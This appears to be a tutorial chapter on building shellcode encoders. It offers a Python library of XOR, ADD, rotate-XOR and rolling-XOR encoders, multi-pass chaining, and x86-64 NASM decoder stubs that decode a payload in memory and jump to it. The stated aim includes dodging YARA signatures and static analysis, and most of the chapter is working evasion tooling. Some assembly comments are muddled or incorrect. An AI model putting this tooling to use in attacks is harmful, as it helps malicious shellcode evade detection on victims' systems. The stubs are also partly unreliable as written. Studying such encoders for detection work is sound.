Custom Encoders and Decoders

Anatomy of an Encoded Payload

Every encoded shellcode has the same three-part structure, regardless of the encoding algorithm:

  ┌──────────────────────────────────────────────────────────────────┐
  │ Part 1: Decoder Stub (~20–100 bytes)                            │
  │   • The only part that executes first, in plaintext form        │
  │   • MUST be null-free (travels through same delivery path)      │
  │   • Gets the address of Part 2, decodes it in-place, jumps to it│
  │   • Contains the decoding key (either hardcoded or derived)     │
  ├──────────────────────────────────────────────────────────────────┤
  │ Part 2: Encoded Payload (N bytes)                               │
  │   • The actual shellcode transformed byte-by-byte               │
  │   • Sits in memory after the stub (or anywhere the stub knows   │
  │     how to find it)                                             │
  │   • Must also be free of bad bytes for the chosen delivery path │
  ├──────────────────────────────────────────────────────────────────┤
  │ Part 3: (Optional) Key or Metadata Trailer                      │
  │   • Some schemes store the key at the end to avoid the decoder  │
  │     having to carry the key as a hardcoded constant             │
  │   • Rolling key, random seed, IV for multi-pass schemes         │
  └──────────────────────────────────────────────────────────────────┘

  Execution flow:
    Instruction pointer → lands on decoder stub
    Decoder stub → locates encoded payload (RIP-relative or call/pop)
    Decoder stub → decodes payload in-place in the allocated RWX memory
    Decoder stub → jmp to decoded payload start
    Decoded payload → executes normally (the original shellcode)

Python Encoder Base Class

Building encoders as a class hierarchy makes it easy to chain multiple passes and compare outputs. All the specific encoders below extend this base:

#!/usr/bin/env python3
"""
encoders.py — extensible shellcode encoder library
Usage:
    enc = XorEncoder(key=0x41)
    encoded = enc.encode(shellcode_bytes)
    assert enc.decode(encoded) == shellcode_bytes
    stub = enc.get_stub()        # null-free NASM assembler bytes for the decoder
    full = enc.get_full_payload(shellcode_bytes)   # stub + encoded payload
"""

import struct, os
from abc import ABC, abstractmethod
from typing import Optional

class ShellcodeEncoder(ABC):
    """Base class for all shellcode encoders."""

    BAD_BYTES_DEFAULT = {0x00}

    @abstractmethod
    def encode(self, payload: bytes) -> bytes:
        """Encode the payload. Must be the inverse of decode()."""
        ...

    @abstractmethod
    def decode(self, encoded: bytes) -> bytes:
        """Decode what encode() produced. Used for verification only."""
        ...

    @abstractmethod
    def get_stub_asm(self) -> str:
        """Return NASM source for the decoder stub."""
        ...

    def has_bad_bytes(self, data: bytes, bad: set = None) -> bool:
        if bad is None: bad = self.BAD_BYTES_DEFAULT
        return any(b in bad for b in data)

    def find_clean_key(self, payload: bytes, key_range=(1, 256),
                       bad: set = None) -> Optional[int]:
        if bad is None: bad = self.BAD_BYTES_DEFAULT
        for key in range(*key_range):
            if key in bad: continue
            encoded = self.encode_with_key(payload, key)
            if not self.has_bad_bytes(encoded, bad):
                return key
        return None

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        """Override in subclass if key is variable."""
        raise NotImplementedError

    def verify(self, payload: bytes) -> bool:
        """Encode, decode, and verify roundtrip integrity."""
        encoded = self.encode(payload)
        decoded = self.decode(encoded)
        return decoded == payload

    def get_stats(self, payload: bytes) -> dict:
        import math
        encoded = self.encode(payload)
        counts = [0]*256
        for b in encoded: counts[b] += 1
        n = len(encoded)
        entropy = sum(-c/n * math.log2(c/n) for c in counts if c > 0)
        bad_count = sum(1 for b in encoded if b in self.BAD_BYTES_DEFAULT)
        return {
            'original_size': len(payload),
            'encoded_size':  len(encoded),
            'overhead':      len(encoded) - len(payload),
            'bad_bytes':     bad_count,
            'entropy':       round(entropy, 2),
        }


class MultiPassEncoder(ShellcodeEncoder):
    """Chain multiple encoders: last encoder applied first at encode time,
    first encoder's stub runs first at decode time."""

    def __init__(self, encoders: list):
        self.encoders = encoders   # [enc1, enc2, enc3] → encode order: 3→2→1

    def encode(self, payload: bytes) -> bytes:
        result = payload
        for enc in reversed(self.encoders):   # apply in reverse: last first
            result = enc.encode(result)
        return result

    def decode(self, encoded: bytes) -> bytes:
        result = encoded
        for enc in self.encoders:             # decode in forward order
            result = enc.decode(result)
        return result

    def get_stub_asm(self) -> str:
        return "\n".join(enc.get_stub_asm() for enc in self.encoders)

Encoder 1 — Single-Byte XOR

The foundational encoder. Every byte of the payload is XORed with a fixed key byte. Simple, fast, and effective for null-byte elimination. Its weakness: the decoder stub is well-known and signatured.

class XorEncoder(ShellcodeEncoder):
    def __init__(self, key: Optional[int] = None):
        self.key = key   # None = auto-select at encode time

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        return bytes(b ^ key for b in payload)

    def encode(self, payload: bytes) -> bytes:
        if self.key is None:
            k = self.find_clean_key(payload)
            if k is None:
                raise ValueError("No single-byte XOR key produces null-free output. Use RollingXorEncoder.")
            self.key = k
        return self.encode_with_key(payload, self.key)

    def decode(self, encoded: bytes) -> bytes:
        assert self.key is not None, "Key not set — encode first or provide key"
        return self.encode_with_key(encoded, self.key)  # XOR is its own inverse

    def get_stub_asm(self) -> str:
        return f"""; Single-byte XOR decoder stub
; Key: 0x{self.key:02X}
; Payload length: 
BITS 64
xor_decoder:
    call    .after_call
.after_call:
    pop     rdi                     ; rdi = address of .after_call
    add     rdi, (.payload - .after_call)  ; rdi = payload start
    mov     ecx, PAYLOAD_LEN        ; loop count
.xor_loop:
    xor     byte [rdi], 0x{self.key:02X}
    inc     rdi
    dec     ecx
    jnz     .xor_loop
    sub     rdi, PAYLOAD_LEN
    jmp     rdi
.payload:"""

; Single-byte XOR decoder stub — assembled form
; Replace KEY and PAYLOAD_LEN with your values.
; Verify stub bytes contain no null bytes before use.

BITS 64
section .text
xor_decoder_stub:
    call    .rip_anchor
.rip_anchor:
    pop     rdi                 ; rdi = address of .rip_anchor (6 bytes: E8 00000000 / 5F)
    ; Compute offset to payload (stub size - 5 bytes for call - 1 for pop = known constant)
    add     rdi, (payload - .rip_anchor)    ; rdi → encoded payload

    mov     ecx, PAYLOAD_LEN   ; no null bytes if PAYLOAD_LEN fits in 7-bit value;
                                ; if > 0x7F: use: mov cl, LEN_HIGH / shl ecx, 8 / add cl, LEN_LOW
    ; For PAYLOAD_LEN values with null bytes, use shift construction:
    ; xor ecx, ecx / mov cl, 0x42 / shl ecx, 8 / add cl, 0x00? — still bad
    ; Real solution: encode PAYLOAD_LEN without nulls per Ch09 techniques

.loop:
    xor     byte [rdi], KEY     ; KEY must be a single non-null byte constant
    inc     rdi
    dec     ecx
    jnz     .loop

    sub     rdi, PAYLOAD_LEN
    jmp     rdi                 ; execute decoded shellcode

payload:
    ; Encoded bytes here

Encoder 2 — ADD/SUB

Instead of XOR, add a constant to each byte (modulo 256). The decoder subtracts the same constant. This produces a different byte pattern than XOR and a different stub instruction sequence:

class AddEncoder(ShellcodeEncoder):
    """Encode by adding KEY (mod 256). Decode by subtracting KEY."""

    def __init__(self, key: Optional[int] = None):
        self.key = key

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        return bytes((b + key) & 0xFF for b in payload)

    def encode(self, payload: bytes) -> bytes:
        if self.key is None:
            self.key = self.find_clean_key(payload)
            if self.key is None:
                # Try all keys, pick one with fewest bad bytes and roll
                raise ValueError("No ADD key produces null-free output. Try RollingXor.")
        return self.encode_with_key(payload, self.key)

    def decode(self, encoded: bytes) -> bytes:
        # Decode = subtract the key
        return bytes((b - self.key) & 0xFF for b in encoded)

    def get_stub_asm(self) -> str:
        # Decode key is 256 - encode_key (i.e., subtract)
        decode_key = (256 - self.key) & 0xFF
        return f"; ADD decoder: sub byte [rdi], 0x{decode_key:02X} per byte"

; ADD/SUB decoder stub
; To decode: subtract KEY from each byte (equivalent to adding 256-KEY)
BITS 64
add_decoder_stub:
    call    .rip_anchor
.rip_anchor:
    pop     rdi
    add     rdi, (payload - .rip_anchor)
    mov     ecx, PAYLOAD_LEN
.loop:
    sub     byte [rdi], DECODE_KEY    ; DECODE_KEY = (256 - encode_key) & 0xFF
                                       ; Choose encode_key so decode_key is non-null too
    inc     rdi
    dec     ecx
    jnz     .loop
    sub     rdi, PAYLOAD_LEN
    jmp     rdi
payload:

  Original bytes (ASCII): 47 65 74 50 72 6F 63 41 64 64 72 65 73 73

  XOR key 0x41 encoding:
  Encoded: 06 24 35 11 33 2E 22 00 ← null byte! key 0x41 doesn't work here
  XOR key 0x43 encoding:
  Encoded: 04 26 37 13 31 2C 20 02 27 27 31 26 30 30 → no nulls ✓

  ADD key 0x41 encoding (add 0x41, mod 256):
  Encoded: 88 A6 B5 91 B3 B0 A4 82 A5 A5 B3 A6 B4 B4 → no nulls ✓
           (high bytes — different visual pattern from XOR version)

  Different stub instructions required (add vs xor), producing
  different stub byte sequences → different YARA signatures

Encoder 3 — Rotate + XOR

Each byte is rotated (bit-rotated left or right) and then XORed with a key. Two operations make the decoder stub more distinctive and the byte pattern harder to reverse without knowing the key and rotation amount:

def rotl8(byte: int, n: int) -> int:
    """Rotate byte left by n bits (mod 8)."""
    n %= 8
    return ((byte << n) | (byte >> (8 - n))) & 0xFF

def rotr8(byte: int, n: int) -> int:
    """Rotate byte right by n bits (mod 8)."""
    n %= 8
    return ((byte >> n) | (byte << (8 - n))) & 0xFF

class RotateXorEncoder(ShellcodeEncoder):
    """Encode: rotate_left(byte, ROT) XOR KEY. Decode: XOR KEY, rotate_right."""

    def __init__(self, rot: int = 5, key: Optional[int] = None):
        assert 1 <= rot <= 7, "Rotation must be 1-7 bits"
        self.rot = rot
        self.key = key

    def encode_with_key(self, payload: bytes, key: int) -> bytes:
        return bytes(rotl8(b, self.rot) ^ key for b in payload)

    def encode(self, payload: bytes) -> bytes:
        if self.key is None:
            self.key = self.find_clean_key(payload)
            if self.key is None:
                raise ValueError("No key works for RotateXor. Adjust rotation amount.")
        return self.encode_with_key(payload, self.key)

    def decode(self, encoded: bytes) -> bytes:
        return bytes(rotr8(b ^ self.key, self.rot) for b in encoded)

    def get_stub_asm(self) -> str:
        return f"; RotXOR decoder: xor [rdi], 0x{self.key:02X} / ror byte[rdi], {self.rot}"

; Rotate+XOR decoder stub
; Decode order: first XOR (undo the XOR), then rotate-right (undo the rotate-left)
BITS 64
rotxor_decoder:
    call    .rip_anchor
.rip_anchor:
    pop     rdi
    add     rdi, (payload - .rip_anchor)
    mov     ecx, PAYLOAD_LEN

.loop:
    xor     byte [rdi], XOR_KEY    ; first undo the XOR
    ror     byte [rdi], ROT_AMOUNT ; then undo the rotate-left with rotate-right
    inc     rdi
    dec     ecx
    jnz     .loop

    sub     rdi, PAYLOAD_LEN
    jmp     rdi

payload:

Encoder 4 — Rolling XOR (Chained)

Each byte's key depends on the previous encoded byte, creating a chain. This produces near-perfect distribution (each encoded byte affects all subsequent ones) and makes it statistically almost impossible for any specific bad byte to appear repeatedly:

class RollingXorEncoder(ShellcodeEncoder):
    """
    Encode: encoded[i] = payload[i] XOR prev_encoded_byte
            where prev_encoded_byte starts as initial_key.
    Decode: payload[i] = encoded[i] XOR prev_encoded_byte
            — same operation! XOR is self-inverse.
    """

    def __init__(self, initial_key: Optional[int] = None):
        self.initial_key = initial_key

    def encode(self, payload: bytes) -> bytes:
        if self.initial_key is None:
            # Try initial keys until we find one producing null-free output
            for k in range(1, 256):
                if k == 0: continue
                test = self._encode_with_initial(payload, k)
                if not self.has_bad_bytes(test):
                    self.initial_key = k
                    break
            if self.initial_key is None:
                raise ValueError("No rolling XOR initial key works — very unusual.")
        return self._encode_with_initial(payload, self.initial_key)

    def _encode_with_initial(self, payload: bytes, initial: int) -> bytes:
        encoded = []
        prev = initial
        for b in payload:
            enc = b ^ prev
            encoded.append(enc)
            prev = enc
        return bytes(encoded)

    def decode(self, encoded: bytes) -> bytes:
        decoded = []
        prev = self.initial_key
        for b in encoded:
            dec = b ^ prev
            decoded.append(dec)
            prev = b               # next key = current encoded byte (not decoded)
        return bytes(decoded)

    def get_stub_asm(self) -> str:
        return f"; Rolling XOR decoder: initial_key=0x{self.initial_key:02X}"

; Rolling XOR decoder stub
; prev_key starts as INITIAL_KEY and updates to each encoded byte after processing
BITS 64
rolling_xor_decoder:
    call    .rip_anchor
.rip_anchor:
    pop     rsi                 ; rsi = rip anchor address
    add     rsi, (payload - .rip_anchor)  ; rsi = encoded payload start
    mov     rdi, rsi            ; rdi = write pointer (same as read pointer, decode in-place)
    mov     ecx, PAYLOAD_LEN
    mov     al, INITIAL_KEY     ; al = current key

.loop:
    mov     bl, byte [rsi]      ; bl = encoded byte
    xor     bl, al              ; bl = decoded byte (current ^ prev_encoded)
    mov     al, byte [rsi]      ; al = prev_encoded (update key BEFORE overwriting!)
    mov     byte [rsi], bl      ; write decoded byte back
    inc     rsi
    dec     ecx
    jnz     .loop

    jmp     rdi                 ; jump to decoded payload (rdi = start)

payload:

Multi-Pass Chaining — Stacking Encoders

Chain multiple encoders in sequence. The encoded output of one becomes the input to the next. The decoder stub runs the decoder stubs in reverse order. Chaining disrupts pattern matching across the entire payload and makes static analysis require knowledge of the complete chain:

  BUILD TIME (Python):
  ─────────────────────────────────────────────────────────────────
  Original shellcode
      → Encoder 3 (RotateXor, rot=5, key=0x7E) → Intermediate 1
      → Encoder 4 (RollingXor, initial=0x3B)   → Intermediate 2
      → Encoder 1 (XOR, key=0x55)              → Final encoded payload

  The final encoded payload has no signatures from any single scheme.
  The bytes have gone through three transformations.

  ─────────────────────────────────────────────────────────────────
  RUNTIME (in memory, decoder stub executes):
  ─────────────────────────────────────────────────────────────────
  Stub 1 runs → XOR decode (key=0x55)    → restores Intermediate 2
  Stub 2 runs → RollingXor decode        → restores Intermediate 1
  Stub 3 runs → RotateXor decode (rot=5) → restores original shellcode
  Jump → execute original shellcode

  Physical memory layout of full payload:
  ┌─────────────────┐
  │  Stub 1: XOR    │  ← instruction pointer lands here
  │  Stub 2: Rolling│
  │  Stub 3: RotXOR │
  │  [jump to start]│
  ├─────────────────┤
  │  Encoded payload│  ← three passes applied
  └─────────────────┘

#!/usr/bin/env python3
"""demo_multipass.py — demonstrate chained encoding"""

from encoders import XorEncoder, RotateXorEncoder, RollingXorEncoder, MultiPassEncoder

# Load raw shellcode
with open("shellcode.bin", "rb") as f:
    shellcode = f.read()

print(f"Original size: {len(shellcode)} bytes")
print(f"Has nulls: {0x00 in shellcode}")

# Build a three-pass chain
enc = MultiPassEncoder([
    RotateXorEncoder(rot=5, key=None),    # pass 1 (innermost)
    RollingXorEncoder(initial_key=None),   # pass 2
    XorEncoder(key=None),                  # pass 3 (outermost — runs first in decode)
])

# Apply all encoders in sequence
encoded = enc.encode(shellcode)
print(f"Encoded size:  {len(encoded)} bytes")
print(f"Has nulls:     {0x00 in encoded}")

# Verify roundtrip
decoded = enc.decode(encoded)
assert decoded == shellcode, "Roundtrip failed!"
print("Roundtrip verification: PASS ✓")

# Show statistics
import math
counts = [0]*256
for b in encoded: counts[b] += 1
n = len(encoded)
entropy = sum(-c/n * math.log2(c/n) for c in counts if c > 0)
print(f"Encoded entropy: {entropy:.2f} bits/byte")

# Write output
with open("shellcode_encoded.bin", "wb") as f:
    f.write(encoded)
print("Encoded payload written to shellcode_encoded.bin")

Minimizing Decoder Stub Size

In tight shellcode slots, the stub competes with the payload for the available bytes. Here are the actual assembled sizes for each stub, and techniques to minimize them:

  Stub type                           │ Typical assembled size
  ────────────────────────────────────┼──────────────────────
  Single-byte XOR (call/pop style)    │ 25–35 bytes
  ADD/SUB                             │ 25–35 bytes
  Rotate + XOR                        │ 35–45 bytes (two ops per byte)
  Rolling XOR                         │ 30–40 bytes
  Two-pass chain (XOR + Rolling)      │ 50–70 bytes
  Three-pass chain                    │ 75–100 bytes
  ────────────────────────────────────┴──────────────────────

  Size reduction techniques:
  1. Use 32-bit register ops where possible (saves REX prefix = 1 byte each)
     xor ecx, ecx  vs  xor rcx, rcx  (saves 1 byte — use 32-bit, zero-extends)

  2. Use dec ecx / jnz pattern instead of loop (loop is 1 byte but slow)
     dec ecx / jnz → 3 bytes  (F5C9: dec ecx; 75 FB: jnz)
     vs "loop" → 2 bytes: E2 FB  ← actually loop is smaller!
     Use "loop .target" for minimal stub: loop decrements ECX and jumps if nonzero.

  3. Use byte-size displacements in jumps (already done by assembler)
     Short jump (jnz/jmp within -128 to +127): 2 bytes
     Near jump (further): 5 bytes
     Keep the decode loop < 127 bytes from the jump instruction.

  4. Pre-decrement payload length into ECX using xor/inc/shl technique
     if the length constant has null bytes.

  5. Use stosb/lodsb for tight loops:
     cld            ; clear direction flag (forward direction)
     mov esi, rdi   ; source = dest (for in-place decode)
  .loop:
     lodsb          ; al = [rsi], rsi++
     xor al, KEY
     stosb          ; [rdi] = al, rdi++  ← store and advance
     ; But: stosb overwrites destination one byte ahead — same as source. OK for in-place.
     loop .loop     ; decrement ecx, jump if nonzero

; Minimal XOR decoder stub using LODSB/STOSB/LOOP — approximately 20 bytes
BITS 64
minimal_xor_stub:
    ; Get RIP-relative address using call/pop
    jmp     short .skip_call
.do_call:
    pop     rsi                 ; rsi = address after call instruction
    push    rsi                 ; save for later jmp
    cld                         ; direction = forward (DF=0)
    mov     edi, esi            ; edi = same (for stosb — but we need RDI not ESI)
    ; Actually: use rsi for lodsb, rdi for stosb — they need to be the same for in-place:
    mov     rdi, rsi            ; rdi = payload start (32-bit safe if payload < 4GB addr)
    xor     ecx, ecx
    mov     cl, PAYLOAD_LEN_BYTE ; use only if payload len fits in 1 byte (< 256)
.xor_loop:
    lodsb                       ; al = [rsi], rsi++
    xor     al, XOR_KEY
    stosb                       ; [rdi] = al, rdi++
    loop    .xor_loop           ; ECX--, jnz
    pop     rdi                 ; restore payload start address
    jmp     rdi

.skip_call:
    call    .do_call            ; pushes return address (= next instruction = payload start)

Questions & Answers